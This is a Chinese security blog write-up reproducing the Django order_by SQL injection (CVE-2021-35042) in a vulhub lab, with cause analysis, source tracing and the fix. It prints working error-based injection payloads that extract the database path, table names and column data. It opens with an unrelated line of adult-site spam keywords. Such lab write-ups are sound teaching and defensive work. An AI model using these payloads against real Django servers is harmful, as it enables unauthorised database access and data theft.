性色av无码不卡中文字幕,中文字幕精品久久久久人妻红杏1,亚洲AV永久无无码精品一区二区三区 ,亚洲国产精品日韩AV不卡在线

 

【漏洞復(fù)現(xiàn)】Django SQL注入漏洞(CVE-2021-35042)

 信安客 2021-11-24 

一、漏洞描述:

Django是開放源代碼Python開發(fā)的Web應(yīng)用框架。采用了MVC的框架模式,即模型M,視圖V和控制器C。它最初是被開發(fā)來用于管理勞倫斯出版集團旗下的一些以新聞內(nèi)容為主的CMS(內(nèi)容管理系統(tǒng))軟件。

在Django組件中SQL注入漏洞是由于QuerySet.order_by()中對用戶提供數(shù)據(jù)的過濾不足,導(dǎo)致攻擊者可利用該漏洞在未授權(quán)的情況下,構(gòu)造惡意數(shù)據(jù)執(zhí)行SQL注入攻擊,最終造成服務(wù)器信息泄露。

二、漏洞形成原因

Django中很容易對數(shù)據(jù)庫創(chuàng)建表并定義字段,只需在models.py文件中聲明一個模型類即可。

Django內(nèi)置了一個ORM框架,從數(shù)據(jù)庫查詢出來的結(jié)果是一個合集,這個合集就是QuerySet。而order_by這個方法的作用,是將查詢出來的結(jié)果按照某字段的值,由小到大或由大到小進行排序。在views.py的視圖函數(shù)中,先是獲取到了用戶傳入的參數(shù)值order(如果沒有傳入?yún)?shù)默認值為id)。然后到Collection表中進行數(shù)據(jù)查詢,對返回的結(jié)果按照id值從小到大進行排序。最后使用values()函數(shù)將數(shù)據(jù)合集轉(zhuǎn)化成一個一個json的數(shù)據(jù)格式返回。

假如返回的結(jié)果按照id值排序Collection.objects.order_by(‘id’),默認是從小到大的順序。如果想要變成從大到小,只需要把’id’變成’-id’即可。因此可以通過在參數(shù)值前面加‘-’來判斷,如果返回的順序顛倒了那么就是使用了order_by。


三、影響版本

Django 3.2/3.1


四、環(huán)境搭建

1、進入路徑:/vulhub/django/CVE-2021-35042,執(zhí)行命令docker-compose build和docker-compose up -d,部署靶機環(huán)境,過程如下:


2、訪問靶機8000端口,如下所示即搭建成功


五、漏洞復(fù)現(xiàn)

進入vuln目錄,通過get方式傳參?order=-id

可以看到前后的輸出結(jié)果不一樣了,-id是指按照id降序排列數(shù)據(jù),說明這里是用戶可以控制的,那么就能嘗試構(gòu)造語句去執(zhí)行其他指令。當傳遞一個錯誤的參數(shù)時,網(wǎng)頁會顯示一個報錯頁面,并將錯誤信息提示出來。


 
那么這里就可以嘗試報錯注入,將我們想要查詢的數(shù)據(jù)通過報錯的信息帶出來
構(gòu)造語句讀取根目錄信息:
?order=vuln_collection.name);
select updatexml(1, concat(0x7e,(select @@basedir)),1)%23


 
也可構(gòu)造語句讀取當前數(shù)據(jù)庫中的表信息:
?order=vuln_collection.name);
select updatexml(1, concat(0x7e,(Select group_concat(table_name) from information_schema.tables where table_schema=database())),1)%23




之后即可通過變更紅色部分的命令來讀取數(shù)據(jù)庫中的信息,通過報錯注入讀取數(shù)據(jù)存在一個弊端,一次只能讀取32位的數(shù)據(jù),用not in()把已經(jīng)知道的內(nèi)容剔除掉,也可以不用group_concat()而使用limit控制讀取,通過前后添加特殊符號來判斷數(shù)據(jù)是否讀取完整
?order=vuln_collection.name);
select updatexml(1,concat(0x7e,(Select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)%23


 
當讀取同一條數(shù)據(jù)無法完全獲取時,可以利用mid函數(shù)來控制輸出的位置
例如只輸出django_migrations表applied列的1~6的內(nèi)容
?order=vuln_collection.name);
select updatexml(1, concat(0x7e,(Select mid(applied,1,6) from django_migrations limit 0,1),0x7e),1)%23



六、漏洞分析

首先看一下這個網(wǎng)頁的內(nèi)容,在訪問vuln目錄后,默認進入的是views.py文件,其中通過get方式接收order傳來的內(nèi)容,放到order_by函數(shù)中去處理。


當order_by函數(shù)在django/db/models/query.py中運行到Collection.objects.order_by(‘id’)的時候,主要是進入如下函數(shù)來判斷order_by 的排序順序和表達式。

 
該函數(shù)主要是清除當前所有的通過order_by函數(shù)調(diào)用的方法,也就清除Query類中的self.order_by參數(shù)。第二件事就是增加self.order_by參數(shù),跟進一下add_ordering()函數(shù),在/django/db/models/sql/query.py文件中Django的orderby支持用表名.列名的形式傳參排序,如:order_by(users.name)。


在傳遞的參數(shù)中有點時,就會執(zhí)行warnings.warn()和continue,此時就會跳轉(zhuǎn)到下面的self.names_to_path(item.split(LOOKUP_SEP), self.model._meta),這里就是對參數(shù)進行安全檢查的,那么如果去掉continue,就會報錯。

 
在/django/db/models/sql/compiler.py文件中處理表、列的函數(shù)


 在這里處理時只針對table,沒有col,所以導(dǎo)致col處可以插入代碼。


七、漏洞修復(fù)
官方通過在4.0版本后不在支持使用表名.列名的方式進行orderby查詢。

 證書咨詢

 電話咨詢  在線咨詢  預(yù)約報名